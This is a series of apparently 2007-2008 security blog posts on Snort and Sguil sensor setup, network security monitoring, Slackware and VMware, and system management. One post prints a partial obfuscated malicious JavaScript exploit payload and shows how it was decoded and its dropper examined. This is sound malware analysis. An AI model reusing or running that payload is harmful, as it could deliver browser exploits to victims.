An exclusive Heartbeat feature monitors link status between the Bypass and monitoring tools for enhanced reliability. A configurable Heartbeat packet is injected into the monitor port link to help determine availability of attached monitoring tools. For instance, the Bypass Switch can automatically switch network traffic around an unresponsive IPS appliance – even if the IPS is still powered on. Once the IPS re-establishes a connection, traffic is re-routed to the monitor port for continued operation.

This is a better solution than a NIC that will only fail open when the power is off, but not all bypass switches have the feature. If anyone knows of other vendors or hardware that have a similar feature, please let me know.

It's also important to know that the use of the terms "fail open" and "fail closed" is not always consistent.

Installing VMware on Slackware

2008-01-25T23:39:00.001-05:00

As with many Unix users, I have tried many flavors, but these days there are a small number I actually use daily. The Linux distribution that I used to really get my feet wet when I first started was Slackware. Back when I first discovered Unix-like operating systems, I researched quite a few Linux distributions. One of the things that appealed to me about Slackware was, even back then, it was considered old-school. It seemed like a good choice if I wanted to learn as much as possible about everything under the hood, so to speak.

I still use it on a daily basis. Despite that, for some reason I had never installed VMware on a Slackware system. I don't believe VMware officially supports Slackware, and this can be seen pretty easily when you install it. The second question the installer asks is:

What is the directory that contains the init directories (rc0.d/ to rc6.d/)?
[/etc/init.d]

As many will know, the answer on Slackware is null. Slackware does not use SysV-style init by default, instead using a BSD-style layout for init scripts. The above question assumes that you are using a system that has a directory for each run level, which isn't the case on Slackware.

I assumed I could just create the empty directories and point the installer there without problems. A quick search confirmed my assumption. Using the simple for loop from that page:

$ sudo mkdir /etc/init.d
$ cd /etc/init.d
$ for i in {0,1,2,3,4,5,6}; do sudo mkdir rc$i.d; done
$ ls
rc0.d  rc1.d  rc2.d  rc3.d  rc4.d  rc5.d  rc6.d

Once the install was done, I removed the init.d directory and everything below it. One other note about the link is that I don't think you need to use the --compile switch with recent versions of VMware. It seemed to recognize that my Slackware generic kernel could not use the pre-built VMware modules. The only advantage to the --compile switch seems to be that it will skip the confirmation requests prior to compiling the modules, whereas running vmware-config.pl without the compile switch will ask for confirmation before compiling each module.

For the record, I was using slackware-current, kernel-generic-2.6.23.12, and VMware Workstation 6.0.2.

On a side note, I think my Slackware experience definitely translated well when I first tried FreeBSD. There are certainly plenty of differences, but it seems to me that going from Slackware to FreeBSD was a smaller learning curve than someone would have coming from a distribution like Ubuntu.

SANS Institute Security Menaces of 2008

2008-01-15T13:54:00.000-05:00

SANS has a list of their "Top 10 Cyber Security Menaces of 2008". Their list includes descriptions and explanations, but here are the 10 headings.

Increasingly Sophisticated Web Site Attacks That Exploit Browser Vulnerabilities - Especially On Trusted Web Sites
Increasing Sophistication And Effectiveness In Botnets
Cyber Espionage Efforts By Well Resourced Organizations Looking To Extract Large Amounts Of Data - Particularly Using Targeted Phishing
Mobile Phone Threats, Especially Against iPhones And Android-Based Phones; Plus VOIP
Insider Attacks
Advanced Identity Theft from Persistent Bots
Increasingly Malicious Spyware
Web Application Security Exploits
Increasingly Sophisticated Social Engineering Including Blending Phishing with VOIP and Event Phishing
Supply Chain Attacks Infecting Consumer Devices (USB Thumb Drives, GPS Systems, Photo Frames, etc.) Distributed by Trusted Organizations

Call me crazy, but doesn't this list basically look like more of the same? It is basically continuing trends from 2007. The people involved with the list are smart and right in the thick of things, but even the descriptions of each item constantly refer to related events that happened in 2007.

On the other hand, it makes complete sense that the most successful and damaging attacks from 2007 would continue in 2008. The attacks that can't get the job done will fade away in favor of successful methods that will continue and evolve once those on defense adjust to current trends.

I guess I just wish they had gone out on a limb with their look forward to 2008 rather than taking the safe bets of the current trends continuing. The only one where I think they really took a stab is blended phishing from number nine.

I don't have much to say about the individual items on the list. Most of them seem on the money. The only one I might question is number five, insider attacks. They state that "insider risk has sky-rocketed", but is the risk really that much higher than it used to be? Insider attacks may be a problem and they may be costly, but I'm not sure the relative risk has sky-rocketed, particularly if you compare the successful insider attacks to successful attacks from outsiders.

Anecdotally, accidental compromises by insiders seemed to get as much or more coverage recently than purposeful insider attacks. Among other things, telecommuting, portable storage, and proliferation of hand-held devices that are tied to the enterprise don't just make it easier for insider attacks, but also for accidental compromises resulting from insider carelessness. We've all seen the stories of laptops with tens of thousands of personnel records being lost or stolen as a result of poor security practices.

One last note is that I'm curious who they see as their target audience for the Menaces of 2008.

JavaScript decoding and more

2008-01-14T18:12:00.001-05:00

JavaScript obfuscation is pretty common. There are plenty of places to find out about how to reverse it along with basic malware analysis tips. Here is an example of obfuscated JavaScript I've seen. I will be posting a few malicious code examples in this entry, so caution is advised with any of the code or URL. If you can avoid it, I also would suggest not downloading malicious content on your production network.

eval("\151\146\50\144\157\143\165\155\145\156\164\56\143\157\157\153\151\145\56\151\156\144\145\1
70\117\146\50\47\117\113\47\51\75\75\55\61\51\173\15\12\164\162\171\173\166\141\162\40\145\73\15\
12\166\141\162\40\141\144\157\75\50\144\157\143\165\155\145\156\164\56\143\162\145\141\164\145\10
5\154\145\155\145\156\164\50\42\157\142\152\145\143\164\42\51\51\73\15\12\166\141\162\40\122\151\

-- snipped --

\157\162\135\42\40\46\46\40\151\75\75\42\133\157\142\152\145\143\164\40\105\162\162\157\162\135\4
2\51\15\12\173\15\12\154\157\143\141\164\151\157\156\56\162\145\160\154\141\143\145\50\42\141\142
\157\165\164\72\142\154\141\156\153\42\51\73\175\15\12\175\175\175")

How do I figure out what this exploit attempt is doing? As pointed out on ISC, there are a number of ways to decode JavaScript. Remember the following caveat from the first link above:

For the first two methods mentioned, be mindful that you are actually running hostile code inside a potentially vulnerable web browser. Make sure to apply the usual precautions (VMWare or the like, deployed far away from any production network you might have, and keeping a keen eye on the firewall log, etc).

I chose the lazy method in this case. First, I downloaded the JavaScript file using wget. Then I made a copy, changing the file extension from .js to .html, added the script tag, and changed "eval" to "alert".

<script language=JavaScript>
alert("\151\146\50\144\157\143\165\155\145\156\164\56\143\157\157\153\151\145\56\151\156\144\145\1

-- snipped --

\157\165\164\72\142\154\141\156\153\42\51\73\175\15\12\175\175\175")
</script>

Now opening the file with a browser will show the decoded JavaScript. Please remember that the links and code in the below image are malicious and you visit them or run the code at your own risk.

There are a number of references to other scripts and files in the above code. There is also further obfuscation in the form of hexadecimal code. There are a number of quick ways to convert the hexadecimal to ASCII, either online or with your programming language of choice. As examples, the hexadecimal of the "Rising" variable above translates to "classid", the "Kaspersky" variable represents a specific CLSID, and the "KV2008" variable translates to "Adodb.Stream". We also see a reference to MS06-014, and more.

If you're using NSM with session data, you can see whether any systems that were subjected to the initial JavaScript exploit code then connected to any related sites after the exploit attempt, which could indicate the exploit succeeded. If you have full content packet captures, you can even see the data in the activity that followed.

I also decided to download some of the files to see what I was dealing with. The .cab file in particular looked interesting. I downloaded it using wget and then unpacked it using cabextract. This revealed an executable.

$ file cabfile.exe
cabfile.exe: MS-DOS executable, MZ for MS-DOS

I also took a quick look with the strings command, which had a few interesting lines.

$ strings -n 3 -a cabfile.exe | less
MZKERNEL32.DLL
LoadLibraryA
j'Y
GetProcAddress

-- snipped --

D:\FastDown\MHDropper\Release\MHDropper.pdb

The executable definitely doesn't look like a friendly file. Finally, the results from VirusTotal show that only 18 of the 32 engines detect it as malicious. I would say that 18 out of 32 is ineffective at best, especially considering that one large vendor's product did not detect the file as malicious.

This all goes to show that you can get a lot of information with fairly basic procedures. If anyone has a critique or interesting information to add, please post a comment.

Black Hat DC and Shmoocon 2008

2008-01-07T21:54:00.000-05:00

Since Richard is a corporate schmuck now, I see the only training he is offering for the year is at Black Hat DC in February. I have heard him as a speaker at Shmoocon and in some smaller groups. I seem to recall that he presented a snippet of TCP/IP Weapons School at one local meet and would definitely recommend it. I think he will be ready to tweak the class to the appropriate skill level of his audience.

The Black Hat training classes seem decent if unsurprising. Metasploit 3.0, Reverse Engineering with IDA Pro, ROOTKIT, TCP/IP Weapons School, and Web Application (In)Security probably would interest me the most. Instructor-led training is expensive!

Speaking of Shmoocon, I plan to be there for all three days. It's an enjoyable event.

IDS/IPS placement on home network

2008-01-06T18:48:00.000-05:00

A coworker was asking me about setting up Snort at home so he could get some experience breaking things.

I put together some very rough diagrams with Dia. These are just common and inexpensive solutions for running Snort at home, either in passive (IDS) or active (Inline) modes. These configurations are all inexpensive. At most, you require an extra hub or switch. The only one that doesn't require anything other than the network cards on the sensor is an external inline sensor.

The first is a common home network configuration. This is basically how mine was before I installed Snort.

The second diagram shows an external sensor. An advantage to this is that you see everything. A disadvantage is that you see everything. The management interface is inside the firewall while the bridging interfaces are outside the firewall. Seeing all the traffic isn't the only disadvantage. Some other disadvantages:

You can't see internal addresses to identify individual systems.
You need a higher performance system. This is not usually a problem on a residential service, but it should be noted that a lot more traffic will pass through system since it's not behind the firewall. You will see a ton of automated scanning and exploit attempts even if the traffic won't make it past the firewall.

Placing the sensor outside the firewall is reasonable if you want to find out just how much activity is happening on the external segment, but it can be really noisy and you lose inside visibility.

The third image is using an extra switch. In this example, you will see all traffic going through the firewall, as well as all broadcast traffic on the private network. You won't see unicast traffic between internal hosts, but you will be able to identify which host is associated with any given traffic that is seen. Bridging is enabled on the sensor and you can run Snort inline. This is my preferred configuration unless you have a lot of wireless traffic.

The fourth diagram shows how to run Snort passively. There are two basic options. The first is a hub that will broadcast all traffic to all ports. This can hurt performance depending on how busy the internal network is. The second is with an inexpensive switch that supports port mirroring. I haven't used it, but I've seen an inexpensive Dell switch referenced that supports port mirroring. Note that it only supports monitoring four ports (PDF) at a time. In this configuration, you can see all traffic on the local segment in addition to Internet traffic. If using a switch with a mirror, you will probably need a separate management interface. If using a hub, the management interface can also do the sniffing.

You could also use a hub between the modem and the firewall if you wanted to run an external passive sensor.

EDIT: Based on Victor's comment, I added one other diagram. Diagram five shows the firewall and Snort inline on the same system. Victor uses iptables to filter the traffic first, then traffic that passes through the firewall goes to Snort running inline. He has separate Snort processes for the DMZ and the LAN.

This configuration is slightly more complicated. There are exceptions, but the places I've worked in the past would not have considered using this type of configuration mainly because they were quite large and wanted off-the-shelf networking products rather than rolling their own firewalls or routers. It is still a useful and usable configuration to learn, and setting it up would provide a lot of valuable experience.

Puppet and Cfengine for management

2008-01-03T21:58:00.001-05:00

Recently I have been reading more about managing multiple systems. One project I've heard good things about is Puppet.

Puppet lets you centrally manage every important aspect of your system using a cross-platform specification language that manages all the separate elements normally aggregated in different files, like users, cron jobs, and hosts, along with obviously discrete elements like packages, services, and files.

I also know another common choice is Cfengine.

Cfengine is an automated suite of programs for configuring and maintaining Unix-like computers.

After reading about each project, I am leaning towards trying Puppet.

Keeping Snort configuration updated

2008-01-03T21:36:00.000-05:00

One thing that needs attention when keeping Snort tuned is updating the configuration variables in snort.conf when changes are made to the network. I recently noticed an alert was firing on legitimate DNS traffic because a new mail server was not in $SMTP_SERVERS. It's easy enough to add the IP to the SMTP_SERVERS variable.

In some cases, you may want that variable to hold other ones. For instance, a big company like GE might have many different sites or logical networks. It may be useful to separate the SMTP servers logically in the Snort.conf if the sensor is going to see the traffic from more than one site:

var EAST_COAST_TV_SMTP [192.168.1.1, 192.168.1.2]
var MICROWAVE_PROGRAMMING_SMTP [192.168.2.1,192.168.2.2]
var SMTP_SERVERS [$EAST_COAST_TV_SMTP,$MICROWAVE_PROGRAMMING_SMTP]

Note that you need the EAST_COAST_TV_SMTP and MICROWAVE_PROGRAMMING_SMTP variables set before they are used in the SMTP_SERVERS variable.

Quicktime exploit, infection, and NSM

2007-12-26T20:38:00.000-05:00

I've recently seen malware activity that will grab data from HTTP POST requests and send the data to a web server. Reliable signatures for this malware have been part of the Bleeding rules for many months.

I would hope that up-to-date anti-virus will catch this. There is really no excuse for missing it, but it certainly doesn't have to be the only malicious result of the successful exploit attempts. It's always a good idea to remember that whatever method was used to compromise a system could have been used to do more than what is easily observable.

Using network security monitoring (NSM), I've worked backwards from the first check-in to find the infection method was the latest Quicktime exploits. Specifically, I've seen malicious QTL files in web traffic prior to the infection symptoms. I'm actually not positive that the most recent vulnerabilities are being exploited rather than one of the numerous older Quicktime vulnerabilities, but the timing of the activity suggests the more recent.

Even with a reliable IDS signature, you still have to ask whether it is worth risking the loss of data that is in POST requests. I think it's not worth risking, particularly if there is a common external web server that can be blocked to prevent the data extrusion.

There are a few ways to block data in a case like this. An inline IDS is one, but may not catch all outbound data. In this case, the signatures have an extremely low risk of blocking non-malicious traffic, but that doesn't mean they'll catch all the malicious traffic either. The signatures will accurately point out any infected systems even if configured to drop the traffic.

Blocking the IP address at a firewall would work well to prevent data loss, but has two main drawbacks. First, you won't detect infected systems with your IDS, at least not based on current signatures. The TCP handshake won't even be completed, let alone the GET request that triggers the alert. Second, but much less problematic, is that you could be blocking many websites on that particular IP address. I say less problematic because it may be the case that one compromised virtual host on an IP address means you should treat the server as completely compromised, so it is best to block the IP rather than just a FQDN.

Another way to block the server that is receiving the stolen POST data is with an appliance or software for filtering web traffic. The advantage here is that connection attempts may still generate IDS alerts even though the connection actually stops at the web filter rather than the external server. You can potentially block all the traffic while still generating IDS alerts to detect infected systems, depending on your web filter.

If blocking connections to a web server that is known as a check-in location, NSM is very useful. Put together a script or database query that looks at your session data for repeated connection attempts to the blocked site and you'll find out if you have any systems that may be infected and trying to check-in. Session data will show each connection attempt even though there will be no responses.

What I read

2007-12-02T19:36:00.000-05:00

One of the things I've noticed about a lot of successful information security professionals is the large amount of reading they do. The pace and scope of the field make it very important to read.

As I find one site to read, it often leads to one, two, or many other interesting sites. Reading all these sites has led to me learning a huge amount on a wide variety of topics. Even when I'm just reading opinions rather than technical content, it is often food for thought.

The sites I have listed on the right represent just a portion of the regular reading I do. Some of those sites will also mention or have links to other good reading. I particularly like technical content, explanations or HOWTOs that can be used in the real world.

While it's probably impossible to read too much in this field, it's definitely possible to read too little.

Managing multiple systems

2007-12-02T14:25:00.001-05:00

This post is really just my thoughts and notes on managing multiple Sguil sensors. A lot of the thoughts could be applied to managing multiple UNIX-like systems in general, whether or not they are NSM systems. I would love any feedback on what other people recommend for managing Unix deployments.

In the past, most Linux or FreeBSD systems I've managed have been single systems, not part of a larger group of systems. Currently, I'm actually well past the point where I should have come up with a more elegant and automated solution to managing multiple systems of similar configurations.

In my current environment, I have multiple sensors with almost identical configurations. The configuration differences are minor and mainly because of different sensor locations.

Most of my management amounts to patching operating systems, patching software, and updating Snort signatures. To update Snort signatures, I generally run Oinkmaster on a designated system, review rule changes, disable or enable new rules as needed, then run a script to push out the updated rules and restart Snort with the new rules on each sensor.

When I build new sensors, I manually install the operating system. With RHEL systems, I should really be using Kickstart to help automate the installation and configuration of new systems.

After I install the operating system, I have a set of scripts I use to automate configuration and installation of software. These scripts are similar to David Bianco's InstantNSM except mine are much more specifically tailored for my environment and include configuration of the operating system, not just installing NSM software.

User account management is another facet of system management. For NSM sensors, since access to the systems is limited to an extremely small number of people, account management is not a huge issue and I won't be getting into that aspect of system management.

One site I've seen mentioned as a reference for managing numerous systems is Infrastructures.Org. The first thing I noticed on the Infrastructures site was the recommendation to use version control as a way of managing configuration files. This is probably obvious to a lot of people, but I never really thought of version control for that purpose. Subversion, CVS, or your version control of choice may be useful for managing systems, not just software. Normally, when I thought version control I thought of it in reference to software projects, not system management. Another option would be something like rdist, which is a program to maintain identical copies of files over multiple hosts.

One other thing some people do is local software repositories. On RHEL systems this might mean a local RPM repository for software that has been customized or is not available in the official Red Hat repositories. This could also mean considering something like Red Hat Satellite Server, depending on exactly what you want out of it. In my case, I think Satellite Server may be overkill but it certainly has some intersting things to offer.

There are several things I see myself needing to do to make management of my systems better. These are just places to start, and hopefully once I explore the options I will be posting my experiences.

Kickstart for OS installation, which would also probably replace some of my scripts used to configure new systems.
Modify my scripts for NSM setup to work with Kickstart if necessary.
Version control and automating the process of systems synchronizing files.
Local software repositories for customized software, including making RPMs of the modified software instead of compiling the software and then pushing it out.

A "for" loop with tcpdump

2007-11-30T17:30:00.003-05:00

This is the kind of post to which most people with Linux or Unix experience will say "Duh!", or even offer better ways to do what I'm doing. It's just a short shell script I use to loop through all the packet capture files on a Sguil sensor looking for specific host(s) and/or port(s). Sometimes it is easier to run a script like this and then SCP the files from the sensor to a local system instead of querying and opening the packet captures one by one using the Sguil client. This also allows more leisurely analysis without worrying about the log_packets script deleting any of the data I want to see.

Nigel Houghton mentioned that any shell script of more than 10 or 20 lines should be rewritten in Perl. Despite his advice, I do plan to switch some of my shell scripts to Perl when I get the chance. ;)

The sensorname variable works for me because my sensor uses the hostname as the sensor name. If my sensor name didn't match the actual hostname or I had multiple sensors on one host then I would have to change the variable.

The BPF expression can be changed as needed. Maybe a better way would be to set it to a command line argument so you don't have to edit the file every time you run the script. The following example uses a Google IP address and port 80 for the BPF. I most often use this script to simply grab all traffic associated with one or more IP addresses.

It may also be worth noting that I run the script as a user that has permissions to the packet captures.

#!/bin/sh

sensorname="`hostname`"
bpfexpression="host 64.233.167.99 and port 80"
outdir=/home/nr/scriptdump

if [ ! -d $outdir]; then
    mkdir $outdir
fi

# For each dir in the dailylogs dir
for i in $( ls /nsm/$sensorname/dailylogs/ ); do
    # For each file in dailylogs/$i dir
    for j in $( ls /nsm/$sensorname/dailylogs/$i ); do
        # Run tcpdump and look for the host
        tcpdump -r /nsm/$sensorname/dailylogs/$i/$j -w $outdir/$j.pcap $bpfexpression
    done
done

# For each pcap
cd $outdir
for file in $( ls *.pcap ); do
    # If file has size of 24, it has no data so rm file
    if [ "`ls -l $file | awk '{print $5}'`" = "24" ]; then
        rm -f "$file"
    fi
done

One of the things I like about posting even a simple script like this is that it makes me really think about how it could be improved. For instance, it might be nice to add a variable for the write directory so it is easier to change where the output files go.

Also, in Sguil the full content packet captures use the Unix time in the file names. If you ever had a copy of the file where the timestamp wasn't preserved, you could still find it by looking at the epoch time in the file name. For instance, with a file named "snort.log.1194141602", the following would convert the epoch time to local time:

$ date -d @1194141602
Sat Nov  3 22:00:02 EDT 2007

Origin of Eating Security

2007-11-29T21:43:00.000-05:00

When I started this blog, I couldn't really think of a name for the blog. I figured that maybe someone else could do the job for me, so I searched the Internet for "blog name generator". I didn't really find anything useful, so then I tried searching for a band name generator. I plugged the word "security" into the first hit, and that's how I ended up Eating Security.

Bleeding Edge Founder Steps Down

2007-11-16T21:38:00.000-05:00

The founder of Bleeding Edge Threats, Matt Jonkman, has stepped down. I don't think this could be considered anything but bad news for the project. Apparently the project now belongs to Sensory Networks, the main sponsor of the last 12 months. I believe the rules are BSD licensed, so while they are currently free, who knows what will happen in the future.

I'm sure Matt Jonkman will continue to do some interesting things in the future, and it sounds like he hopes to share with the rest of us again.

Snort Performance and Memory Map Pcap on RHEL

2007-11-01T17:35:00.000-04:00

I previously wrote about installing Phil Wood's memory map enabled libpcap as an academic exercise on my home network. As Victor Julien pointed out to me, Snort in inline mode will be using ip_queue rather than the libpcap interface to the kernel. However, I have actually been using mmap libpcap with Snort in IDS mode for quite a while to help reduce packet loss monitoring fairly high bandwidth connections. In testing, I have been able to consistently run Snort in IDS mode and a flow_depth of zero without packet loss on a link doing up to 80Mb/s. Admittedly, this is on pretty high end hardware but it is much better performance than Snort with the regular libpcap. By tuning Snort, like setting flow_depth to something more sensible than zero and disabling rules that are bad for performance, it is easy to see how Snort could be used to monitor even busier links.

There are other ways to increase Snort performance, too. One is using PF_RING. Richard Fifarek has a good write-up about setting up PF_RING with Red Hat Enterprise Linux 4. Maybe I'll get around to testing PF_RING under the same circumstances as I use mmap libpcap, but I'd love to see comments from those that have done it already. I have seen a few comparisons, but not recently. The documentation for PACKET_MMAP, which can be found in the Linux kernel source, has more to say about packet capture performance.

It's fine to use PACKET_MMAP to improve the performance of the capture process, but it isn't everything. At least, if you are capturing at high speeds (this is relative to the cpu speed), you should check if the device driver of your network interface card supports some sort of interrupt load mitigation or (even better) if it supports NAPI, also make sure it is enabled.

I haven't had a chance to play with NAPI yet, but for anyone that is interested there is a NAPI_HOWTO.txt, also in the documentation section of the Linux kernel source.

One last way to improve performance is to use an architecture-specific compiler when building Snort. Although I'm not sure about other architectures, using the Intel compiler for some Intel hardware was mentioned as one of the best ways to improve performance when someone asked a SourceFire employee at Shmoocon a couple years ago about improving Snort performance.

Installing the modified libpcap and reinstalling all the software that depends on it is fairly simple on RHEL. In this case, I'm using RHEL5. Before installing the new libpcap, I stopped any processes that depended on Red Hat's official libpcap package. I removed the official Red Hat libpcap package and any other RPMs that depended on it.

rpm -e libpcap tcpdump

Then I installed the new libpcap.

tar xvzf libpcap-0.9x.20070528.tar.gz
cd libpcap--0.9x.20070528
./configure
make
make install

Now I can go ahead and reinstall the other software using the new libpcap. Just for kicks, the following installs libnet so I can enable flex-resp support even though I don't consider flex-resp very useful in production. Better to just put the box inline if you really need to stop traffic. TCP resets or ICMP unreachable messages leave something to be desired.

cd /usr/src/Libnet-1.0.2a
./configure --prefix=/usr/local/libnet
make
make install

cd /usr/src/tcpdump-3.9.8/
make clean
./configure
make
make install

The following configure statement for Snort should work with 2.6.1.5 or 2.8.0, but I think the --enable-stream4udp is actually now a default for 2.8.0 while it was not for 2.6.x.x.

cd /usr/src/snort-2.8.0
make clean
./configure --without-mysql --without-postgresql --without-oracle
--without-odbc --enable-dynamicplugin --enable-flexresp --enable-stream4udp
--enable-perfprofiling --with-libnet-libraries=/usr/local/libnet/lib
--with-libnet-includes=/usr/local/libnet/include
make
make install

I'm using sancp for session data:

cd /usr/src/sancp-1.6.1/
make clean
make
./install.sh

Finally, I need to set PCAP_FRAMES to a value that the system can use. Finding the maximum can be trial and error, but here are some examples how to set it. One is to set it for each individual application at startup. For instance, sancp doesn't seem to like to use PCAP_FRAMES, so I put the following in the sancpd init script:

export PCAP_FRAMES=0

On the other hand, Snort in IDS mode or packet logging mode can benefit a lot from setting PCAP_FRAMES. For instance,

export PCAP_FRAMES=65535

As I said, it may take experimentation to find the maximum value or the value that results in the best performance. For something like tcpdump, you might want to create an alias something like:

alias tcpdump='PCAP_FRAMES=65535 tcpdump'

Better Work Means More Work

2007-10-30T20:32:00.002-04:00

Security is one of those fields where, the better a job you do, the more work you have to do. To some extent, all jobs are like this. If you do a terrible job, nobody is going to want to give you more work. If you do a great job, people will give you as much or more work than you can handle. However, this is not really the type of extra work I am referring to.

One example of what I'm talking about is intrusion detection. The better you get at intrusion detection, the more incident response you will end up doing as a result. Getting better at security operations in general will often lead to the discovery of more intrusions as your knowledge increases, new systems are implemented, and security systems are improved. Someone who is good at penetration testing or application fuzzing may be able to find and exploit more vulnerabilities, and in the end do extra work because of that. I'm sure there are many more examples.

On the other hand, better work also means you can streamline processes or reduce the number of security incidents. Increasing the depth of your defense to reduce security incidents, automating processes, more clearly mapping processes, and more efficiently achieving an objective are all possibilities to reduce the amount of work. Being better at penetration testing may mean finding more useful information about the security of your target, but you may also perform the actual penetration test more quickly.

Richard Bejtlich likes to point out that prevention eventually fails. I agree but would like to add that I think there will always be security incidents that are missed. Getting better at detection means more time spent on incidents, which is a good thing by the way. However, no matter how good you get at detection, I firmly believe that nobody will catch everything worth catching. There are probably exceptions, but in the type of enterprise network I'm used to dealing with, catching every single noteworthy security incident seems unlikely.

Someone in operational security can also improve prevention. Just because prevention eventually fails doesn't mean it never works or should be ignored. You might think that getting better at prevention means you will have less work to do when it comes to detection and response. But better prevention generally means more work on design, testing, configuration, maintenance, documentation, and more.

Anyone that does a good job will be in demand, leading to more work. With security, I also think doing a good job means you may discover more work to do along every step of the way.

Upgrading to Snort 2.8.0

2007-10-23T19:34:00.000-04:00

I finally upgraded my test sensor from Snort 2.6.1.5 to Snort 2.8.0. David Bianco mentioned some of the new features in his blog a couple of months ago, so I won't get into the differences. I am mainly documenting the things I had to do for the upgrade so I have a reference if needed at a future date.

The first thing I did was look through the documentation in the "docs" directory, reading some of the README files for the preprocessors. The README.variables file was of particular interest since Snort 2.8 allows port lists. I also looked at the snort.conf file in the "etc" directory of the source tree to see how it differed from my current configuration file.

Next, I made a copy of my snort.conf from 2.6.1.5 and edited it for the changes in 2.8.0. I changed the HTTP_PORTS variable to list a few other ports besides 80, including 8080 and 8000. The portvar variable was used in the examples of multiple HTTP_PORTS.

portvar HTTP_PORTS [80,8000,8080,8888]

Although I only run HTTP on port 80, the Snort web-client ruleset and a number of Bleeding rules use the $HTTP_PORTS variable to detect attacks against web clients like Internet Explorer, Mozilla Firefox, media players, and more. After that simple change, I configured and installed Snort.

./configure --enable-dynamicplugin --enable-inline --enable-perfprofiling
make
make install

After installing, I tried to start Snort. The first problem I encountered was with my stream5 configuration. I had previously been using the stream4 and the flow preprocessors, but when changing the configuration to use stream5 I had not removed the flow preprocessor configuration. Stream5 handles everything that used to be handled by the combination of flow and stream4, so I removed the flow configuration. I also had to add the stream5_udp and stream5_icmp options.

A check of the configure help will also show that --enable-dynamicplugin is the default with 2.8.0, so it should not actually be needed in the configuration command.

After fixing stream5, I tried again and had one more problem. I was getting the following errors:

Oct 23 19:18:52 sensor snort[3117]: /etc/snort/snort.conf(206) unknown dynamic preprocessor "ftp_telnet"
Oct 23 19:18:52 sensor snort[3117]: /etc/snort/snort.conf(210) unknown dynamic preprocessor "ftp_telnet_protocol"
Oct 23 19:18:52 sensor snort[3117]: /etc/snort/snort.conf(221) unknown dynamic preprocessor "ftp_telnet_protocol"
Oct 23 19:18:52 sensor snort[3117]: /etc/snort/snort.conf(226) unknown dynamic preprocessor "ftp_telnet_protocol"
Oct 23 19:18:52 sensor snort[3117]: /etc/snort/snort.conf(238) unknown dynamic preprocessor "smtp"
Oct 23 19:18:52 sensor snort[3117]: /etc/snort/snort.conf(307) unknown dynamic preprocessor "dcerpc"
Oct 23 19:18:52 sensor snort[3117]: /etc/snort/snort.conf(313) unknown dynamic preprocessor "dns"
Oct 23 19:18:52 sensor snort[3117]: FATAL ERROR: Misconfigured dynamic preprocessor(s)

This was pretty easy to fix. I just needed the proper path to the dynamic preprocessors.

dynamicpreprocessor directory /usr/local/lib/snort_dynamicpreprocessor/

After I fixed the snort.conf, the next try to start Snort 2.8.0 was successful. Now that I have it installed and running with very similar settings to 2.6.1.5, it's time to dig deeper into the differences and possibly test other configuration changes.

Sguil 0.7.0 Client and NetBIOS Names

2007-10-16T20:59:00.000-04:00

The previous versions of Sguil clients used a different method when doing a reverse DNS lookup. This method must have fallen back to the operating system's name lookup methods at some point, because I used to get NetBIOS names on systems that had them when there was no DNS name returned. The Sguil 0.7.0 client uses tcllib's DNS client to resolve names, which is used to allow DNS proxying through OpenDNS or other DNS servers. However, this method is purely DNS, so any Windows system without a DNS entry would return "Unknown" as the hostname. I decided to play with the client and add NetBIOS name queries in the event the reverse DNS came up empty.

The file that contains the GetHostbyAddr proc in Sguil is extdata.tcl and lives in the lib directory. From the description in the file:

#
# GetHostbyAddr: uses extended tcl (wishx) to get an ips hostname
#                May move to a server func in the future
#

The proc does a few things. First, it checks to see whether external DNS is enabled and whether an external server has been configured in sguil.conf. If an external DNS server is set, then the process will see if a HOME_NET is set. If the HOME_NET is set, it is compared to the IP being resolved. A match means that the nameserver is set to the local rather than the external. If HOME_NET is not set or the IP does not match HOME_NET, then the external nameserver is used. If external DNS is not selected in the client, then the local nameserver is used.

If the name resolution returns no value, then the client displays "Unknown" as a result. Just prior to that is where I added the NetBIOS name lookup. Here is the whole GetHostbyAddr proc after I modified it, with a few comments to follow:

proc GetHostbyAddr { ip } {

   global EXT_DNS EXT_DNS_SERVER HOME_NET NETBIOS_NET

   if { $EXT_DNS } {

       if { ![info exists EXT_DNS_SERVER] } {

           ErrorMessage "An external name server has not been configured in sguil.conf. Resolution aborted."
           return

       } else {

           set nameserver $EXT_DNS_SERVER

           if { [info exists HOME_NET] } {

               # Loop thru HOME_NET. If ip matches any networks than use a the locally configured
               # name server
               foreach homeNet $HOME_NET {

                   set netMask [ip::mask $homeNet]
                   if { [ip::equal ${ip}/${netMask} $homeNet] } { set nameserver local }

               }

           }

       }

   } else {

       set nameserver local

   }

   if { $nameserver == "local" } {

       set tok [dns::resolve $ip]

   } else {

       set tok [dns::resolve $ip -nameserver $nameserver]

   }

   set hostname [dns::name $tok]
   dns::cleanup $tok

   # Added hack to use NetBIOS name lookups if no DNS entry
   if { $hostname == "" } {

       # Only check NETBIOS_NET addresses for NetBIOS names
       if { [info exists NETBIOS_NET] } {

           # Loop thru NETBIOS_NET. If ip matches then do NetBIOS lookup
           foreach netbiosNet $NETBIOS_NET {

               set netMask [ip::mask $netbiosNet]
               if { [ip::equal ${ip}/${netMask} $netbiosNet] } {

                   # NetBIOS for Windows client
                   if { $::tcl_platform(platform) == "windows" } {

                       regexp {.+?(.{15})<00>} [ exec nbtstat -a $ip ] \
                       dummyvar hostname }

                   # NetBIOS for Unix client but you need samba client tools
                   if { $::tcl_platform(platform) == "unix" } {

                       # Match 16 chars because of trailing space w/nmblookup
                       regexp {.+?(.{16})<00>} [ exec nmblookup -A $ip ] \
                       dummyvar hostname }

               }

           }

       }

   }

   if { $hostname == "" } { set hostname "Unknown" }
   return $hostname

}

I took Bamm's check for HOME_NET and changed it to a check for NETBIOS_NET. I think people will definitely not want every IP to get a NetBIOS query if it has no DNS entry, nor will they want every IP in HOME_NET to be checked. This change means you need to add a NETBIOS_NET to sguil.conf if you want to resolve NetBIOS names.

Next, I checked for the platform and either perform an nbtstat from a Windows client or an nmblookup from a Unix client.

The regular expression I used to grab the result of the query is sort of weak, but functional. It simply finds the first instance of "<00>" and grabs the preceding 15 characters on Windows or 16 characters when doing a nmblookup on Unix. This is because the output of nmblookup has an extra space after the NetBIOS name, which can be up to 15 characters, while a 15 character name on Windows will have no trailing space. I would like to cut out any trailing whitespace using the regular expression, but I'm not sure about the best way to do it. A word boundary won't work because NetBIOS names can have characters like dashes and dots.

Suggestions and feedback welcome. Is something like this useful? How can it be improved? Is there some much easier way to do this? I can barely spell TCL let alone code it, so be gentle!

Edit: giovani from #snort-gui gave me this regexp that should grab the NetBIOS name without including trailing whitespace. He also pointed out that having spaces between the braces and the regexp, as I did, can alter the regexp.

{([^\s\n\t]+)\s*<00>}

